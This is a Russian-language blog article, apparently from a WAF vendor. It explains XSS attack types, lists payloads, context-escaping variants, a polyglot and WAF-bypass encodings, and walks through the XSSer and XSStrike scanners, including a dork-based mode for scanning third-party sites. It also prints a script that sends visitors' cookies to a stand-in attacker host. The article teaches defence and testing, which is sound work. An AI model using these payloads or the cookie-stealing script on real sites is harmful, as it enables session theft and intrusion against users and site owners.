Пс, парень, твоей странице <script>alert('скрипт');</script> не нужен?

XSS (Cross Site Scripting) - один из самых популярных видов веб-уязвимостей, позволяющий производить внедрение вредоносного кода в отдаваемую веб-приложением страницу. Атаки с использованием XSS-вектора позволяют внедрять на страницу произвольное содержимое, перехватывать cookie и сессии других пользователей, получать доступ в закрытые разделы сайта и даже привилегии администратора веб-ресурса.

Существует несколько видов XSS:

• Хранимые. Вредоносный код сохраняется на сервере и загружается с него каждый раз, когда пользователи запрашивают отображение той или иной страницы. Чаще всего проявляются там, где пользовательский ввод не проходит фильтрацию и сохраняется на сервере: форумы, блоги, чаты, журналы сервера и т.д.

  Например, скрипт <img src="http://exmple.com/">, оставленный на странице сайта с очень высокой посещаемостью, может спровоцировать DDoS-атаку на указанный веб-ресурс.

• Отображаемые. Вредоносная строка является частью запроса жертвы к веб-сайту. Сайт принимает и вставляет эту вредоносную строку в отправляемый ответ обратно пользователю.

  Например, при переходе пользователем по ссылке: http://example.com/q=<a href='a' onmouseover=alert('XSS') style='font-size:500px'> на странице отобразится гиперссылка, при наведении на которую выполнится скрипт alert('XSS'). Но для этого необходимо каким-то образом (например, с использованием социальной инженерии) заставить пользователя ввести эту ссылку в адресной строке.

• XSS в DOM-модели. Представляет собой вариант как хранимой, так и отображаемой XSS-атаки. В данном случае вредоносная строка не обрабатывается браузером жертвы, пока настоящий JavaScript веб-сайта не выполнится.

  Предположим, что мы разработали веб-приложение, содержащее следующий код:

  <title>Example XSS</title>
  
  <h1 id="greeting">Hello there!</h1>
     <script>
          var name = new URLSearchParams(document.location.search).get('name');
          if (name !== 'null') {
              document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';
           }
     </script>
  

При его выполнении на странице будет отображаться приветствие "Hello !". Однако, если добавить что-нибудь через параметр name, например "Pentestit", то приветствие изменится на "Hello Pentestit!". Но если в этот параметр добавить нагрузку в виде <img+src+onerror=alert('XSS')>, то произойдет обработка скрипта.

Статья носит информационный характер. Не нарушайте законодательство.

XSS имеют различные вариации, например, сообщение на форуме с текстом <script>alert('XSS')</script> поместит скрипт на странице, и любой пользователь, который посетит ее, вызовет обработку этого скрипта браузером. Но это сработает в том случае, если нет никакой фильтрации пользовательского ввода. Если фильтрация присутствует, хотя бы на закрывающиеся теги, то подобная конструкция уже не сработает. В таком случае скрипт необходимо немного видоизменить, разместив его, например, в тегах <img>, <iframe> и им подобных, то есть в тех, которые не требуется закрывать. Например:

<img src=http://example.com/image.png onerror=alert('XSS')>

Тег <img> отвечает за загрузку картинки на страницу, и при указании адреса, откуда ее загружать, добавляется обработчик событий, который активируется в случае успеха или ошибки при загрузке. В данном случае при ошибке загрузки картинки с ресурса example.com сработает обработчик событий onerror, который запустит скрипт alert('XSS'). Вариаций использования обработчиков событий также довольно много: onload, onerror, onmouseover и т.д. Но помимо безопасной конструкции <script>alert('XSS')</script> злоумышленник может написать скрипт, который будет передавать ему на удаленный сервер cookie всех пользователей, посетивших страницу.

<script>var s=document.location; if (String(s).indexOf('iC')<0){document.location='http://hacker.domain.ru/search.php?q='+document.cookie;}</script>

Есть и так называемые «слепые» XSS (blind XSS) — это вариант хранимой XSS. Суть их работы заключается в том, что злоумышленник не сможет сразу увидеть результат, или результат работы пейлоада будет выводиться, например, на какой-то другой странице, вроде формы обратной связи или публикации отзывов с предварительной модерацией сообщений. Прислав в тексте сообщения скрипт, злоумышленник не увидит никакой реакции от веб-приложения, однако на стороне администратора или модератора сервиса скрипт отработает, вызвав написанную злоумышленником функцию. Если рассматривать данный вид атаки в контексте примера XSS с кражей cookie, то в таком случае администратор, ничего не успев понять, передаст их злоумышленнику.

Главная проблема поиска blind XSS в том, что необходимо учитывать множество контекстов, в которых может выполняться код, например, внутри одинарных или двойных кавычек, различных атрибутов и т.д. Для примера возьмем один и тот же пейлоад и посмотрим, в каких контекстах он может находиться. Исходный пейлоад опять же будет простым <script>alert(context)</script>.

Его можно доработать, чтобы он выполнился также и в других контекстах. Для этого нужно будет подстроиться под них:

• '><script>alert(context)</script> - вышли за пределы атрибута в одинарных кавычках;

• '"><script>alert(context)</script> - вышли за пределы атрибута в одинарных и двойных кавычках;

• -->'"><script>alert(context)</script> - вышли также за пределы HTML-комментария;

• </textarea>-->'"><script>alert(context)</script> - вышли за пределы элемента textarea;

• </style></textarea>-->'"><script>alert(context)</script> - вышли за пределы элемента style.

Проверить эти параметры может помочь использование XSS-полиглотов, которые учитывают различные контексты, например:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Такой пейлоад должен выполниться в любом контексте, то есть его можно поместить в любой параметр и не беспокоиться о том, в какой участок кода он попадет.

Существует довольно много пейлоадов-полиглотов, их можно взять из SecLists или тут.

Если подойти к вопросу в контексте безопасности, то использование только сигнатурного анализа в WAF для фильтрации пользовательских данных позволяет выполнить "обход", используя альтернативный метод выполнения сценария. Например, вместо <script>alert('XSS')</script> использовать конструкцию \<a onmouseover="alert('XSS')">xss link\</a> для создания ссылки, при наведении на которую сработает обработчик событий onmouseover, выполнив скрипт. Если фильтруется ввод закрывающих тегов, то можно перейти на теги, которые не требуется закрывать, например <img>. Если WAF блокирует и закрывающие теги, и теги типа <img>, то можно попробовать тег body: <BODY ONLOAD=alert('XSS')>

Еще один вариант обхода блокировки WAF – методы обфускации пейлоада. Например, используя URL-Encode стандартный пейлоад <script>alert(XSS)</script>, можно превратить в %3Cscript%3Ealert%28XSS%29%3C%2Fscript%3E.

Для автоматизации поиска и эксплуатации XSS-уязвимостей существуют специальные инструменты (фреймворки), такие как XSSer или XSStrike, оба являются бесплатными.

XSSer

Cross Site "Scripter" (также известный как XSSer) – это автоматический фреймворк для обнаружения и эксплуатации XSS-уязвимостей в веб-приложениях. Содержит несколько опций для обхода определенных фильтров и специальные техники внедрения кода.

Ключевые особенности инструмента:

• возможность создания изображений или видеофайлов с XSS-пейлоадом для дальнейшей загрузки в веб-приложение;

• поиск для внедрения XSS с помощью Google Dorks запросов;

• проверка наличия XSS-фильтров у целевого веб-приложения;

• опция генерации пейлоада для попыток обхода систем WAF;

• выявление Blind XSS.

Установка

Для установки инструмента можно воспользоваться deb-пакетом с официального сайта https://xsser.03c8.net/, либо на github скачать скрипт установки.

Использование

Использование ключей для составления запроса

Для вызова справки по командам вводим xsser -h. Команда xsser --update обновит инструмент до актуальной версии, а xss --gtk запустит графический интерфейс, но об этом чуть позже.

Стандартная команда для проверки XSS выглядит так:

# xsser -u "http://example.com" -g "/index.php?login=XSS&password=1&Submit" 
# xsser -u "http://example.com/index.php" -p "login=XSS&password=1&Submit"

• -u - URL для проверки;

• -g/-p - параметры для GET- и POST-запросов с указанием места внедрения проверочного пейлоада при помощи строки XSS.

Использование графического интерфейса

Для любителей графического интерфейса существует команда xsser --gtk. Запустится окно программы, где можно настраивать запросы для тестирования аналогично консольному варианту. Но здесь работать гораздо удобнее, исключив возможность запутаться в действительно обширном количестве ключей.

И сразу лайфхак: указывая параметры URL, data, payloads и т.д., их необходимо обязательно заключать в кавычки подобно написанию в консоли. В графическом интерфейсе, видимо, не подразумевалась данная функция по умолчанию.

Вариантов настройки запросов в графическом интерфейсе тоже 2, как и в консольном варианте:

• обычный режим — пользователь сам выбирает параметры для составления запроса;

• мастер запросов — интерактивное окно, в котором необходимо последовательно выбирать такие параметры, как: метод отправляемого запроса, URL проверяемого веб-приложения (один URL или список), метод генерации пейлоадов (конкретный или автоматическая генерация), необходима ли анонимизация отправки запросов такими средствами, как Tor и т.д.

С мастером настройки особых проблем возникать не должно. Главное - четко понимать, какие данные необходимы, поэтому остановимся подробнее на обычном режиме.

При запуске графического интерфейса, как уже говорилось ранее, появится окно программы, где вводится URL для тестирования, указывается использование поисковой системы страниц с уязвимостями, краулер, а также Tor прокси для анонимизации. Остальные настройки будут производиться в соответствующих разделах:

Connection

Основной раздел составления запроса.

Cheker

Проверка доступности хоста и настройка проверки Blind XSS.

Vectors

Позволяет вручную установить пейлоад для проверки или использовать автоматическую генерацию.

Anti-antiXSS

Использование параметров для попытки обхода некоторых WAF, а также анти-XSS фильтры некоторых браузеров. Последнее не имеет смысла, так как заявленые браузеры являются устаревшими и вряд ли не используются на текущий момент.

Bypasser

Содержит различные настройки обфускации пейлоадов для обхода прочих средств защиты.

Technique

Различные техники внедрения пейлоада.

Exploit

Специальные методы выполнения инъекций.

После указания всех параметров можно нажать на главном окне кнопку «Fly» для выполнения атаки или кнопку «Aim» для генерации консольной команды.

Тестирование

Проверка автоматической генерации пейлоадов

Набор пейлоадов, которые предлагает XSSer, находится в файле ./core/fuzzing/vectors.py и записан в виде JSON. Сам список имеет вид:

{ 'payload':"""<iframe<?php echo chr(12)>onload=PAYLOAD></iframe>""",'browser':"""Not Info"""}

Если сравнивать с XSStrike, то у него было несколько наборов:

• базовые теги (img, iframe и т.д.)

• обработчики событий (onload, onerror, onmouseover и т.д.)

• функции (например confirm()) и т.д.

В процессе генерации все эти наборы совмещались друг с другом и получался объемный список пейлоадов. Но в XSSer оказалось, что параметр --auto отвечает лишь за использование уже существующего словаря, который, разумеется, можно расширить.

Во время тестирования все применяемые пейлоады кодируются в URL-Encode, а результаты автоматически записываются в текущей папке в файл XSSreport.raw, если не указано иное.

Проверка поиска уязвимых сайтов для XSS средствами Google Dork

Данная функция позволяет инструменту проводить поиск уязвимых страниц в Интернете, используя GoogleDork-запросы. В процессе поиска XSSer будет искать страницы по указанным критериям и, если найдет, отправит пейлоад для проверки наличия XSS-уязвимости. В самом простом случае запрос может выглядеть так:

# xsser --De "duck" -d "search.php?q="

где:

--De - поисковой движок (DuckDuckGo, Yahoo, Bing)

-d - содержимое GoogleDork-запроса

Сама задумка данной функции понятна — поиск уязвимых страниц с помощью продвинутого поискового движка, но из-за того, что при ее использовании атакуются сторонние ресурсы в Интернете, не совсем понятно, зачем она была добавлена.

XSStrike

XSStrike — это пакет обнаружения XSS, оснащенный четырьмя рукописными синтаксическими анализаторами, интеллектуальным генератором полезной нагрузки, мощным механизмом фаззинга и быстрым сканером. Он распознаёт ответ с помощью нескольких анализаторов и затем обрабатывает полезные данные, которые гарантированно будут работать с помощью контекстного анализа, интегрированного в механизм фаззинга.

Возможности:

• фаззинг;

• технология взлома контекста;

• интеллектуальная генерация пэйлоадов;

• поддержка методов GET & POST;

• поддержка файлов cookie;

• обнаружение WAF;

• пэйлоады ручной работы для фильтрации и WAF-уклонения;

• скрытое обнаружение параметров.

Пример:

# python3 xsstrike.py -u "http://example.com" --crawl

# python3 xsstrike.py -u "http://example.com" --data "login=admin&password=admin&submit"

Более подробно про XSStrike на русском можно прочитать здесь.

Тестирование обхода WAF. XSSer vs XSStrike

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1"

Здесь указан URL, параметры POST-запроса, использование заготовленного словаря с пейлоадами и задержка в 1 секунду между запросами.

При использовании XSSer со стандартным набором пейлоадов, Nemesida WAF Free заблокировал все атаки, за исключением направленных на старые версии браузеров (например, Internet Explorer 6). Также не были заблокированы запросы, не преставляющие собой реальную атаку, например:

• <xml id="X"><a><b>955c5ecb3ac1e7ef80ab181ca5d5c7d9;<b></a></xml>

• <DIV STYLE="width: expression(c5d576195e3d738adcfb2e1f10019443);">

• <LINK REL="stylesheet" HREF="bdde8029cb7599bd5601cb739bab6590">

Есть символы, используемые в атаках, но отдельно не являющиеся опасными. Их блокировка потенциально может привести к ложным срабатываниям. В Nemesida WAF Free мы разрабатываем качественные сигнатуры для снижения количества ложных срабатываний.

Попытки обхода средств защиты также не дали дополнительных результатов при применении любого из доступных в инструменте методов кодирования пейлоадов.

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Hex

Дополнительно применялась мультикодировка --Cem:

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Cem "Str, Hex"

В этом случае пейлоад будет по очереди закодирован сначала в String.FromCharCode () (Str), после чего полученная строка будет закодирована в шестнадцатиричный код (Hex). Кодировок можно добавлять и больше, но это будет прямо пропорционально влиять на скорость проверки.

Если сравнивать эффективность XSStrike и XSSer, то мы, скорре, отдадим предпочтение последнему. Хотя в XSStrike есть функция преобразования полезной нагрузки в base64:

# python3 xsstrike -u "http://example.com/xss.php" --data "login=&password1=&enter=Submit+Query" --skip -e b64

Параметр --data отвечает за содержимое тела POST-запроса, --skip позволяет пропустить проверку перед применением пейлоадов, а -e устанавливает кодировку пейлоадов.

Проблемы сигнатурного анализа

Не стоит забывать, что злоумышленник может легко получить список сигнатур и на его основе попытаться обойти WAF. Для таких случаев в Nemesida WAF применяется модуль машинного обучения, который позволяет усложнить попытки обхода сигнатурного метода. Для наглядности мы провели 2 теста - попытки обхода бесплатной версии Nemesida WAF (только сигнатурный анализ) и полной версии Nemesida WAF с применением машинного обучения (используя реальные модели). В качестве инструмента использовали waf-bypass и вот, что получили:

Nemesida WAF Free (только сигнатурный анализ)

Nemesida WAF (с применением машинного обучения)

При использовании инструмента XSStrike все атаки на веб-приложение также были заблокированы, даже с учетом попыток обхода защиты по умолчанию.

# python3 xsstrike -u "http://sites.vulns.pentestit.ru/xss.php" --data "login=&password1=&enter=Submit+Query" --skip

Вывод

XSS являются крайне опасными уязвимостями, которые могут навредить, в первую очередь, пользователям. Поэтому предлагаем небольшой список рекомендаций для защиты от них:

• Кодирование входных данных: с помощью библиотек OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class и т.д.;

• Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение: с использованием как рассмотренных XSSer и XSStrike, так и с Wapiti, Nikto Web Scanner или Acunetux;

• Использование Nemesida WAF (хотя бы Free версию);

• И, наконец, регулярно устанавливать обновления (и, если серьезно заморочиться, использовать расширения, предотвращающие запуск XSS-сценариев на странице).

Nemesida WAF доступен в виде установочных пакетов для популярных Linux-систем: Debian, CentOS и Ubuntu. Быстрый стар для тех, кто уже познакомился с продуктом, занимает порядка 5-7 минут. Инструкция по установке доступна по ссылке.

По завершении настроек атаки будут отображаться в личном кабинете (также устанавливается локально), демонстрационной стенд размещен по адресу demo.lk.nemesida-security.com (demo@pentestit.ru/pentestit).

Оставайтесь здоровыми и защищенными.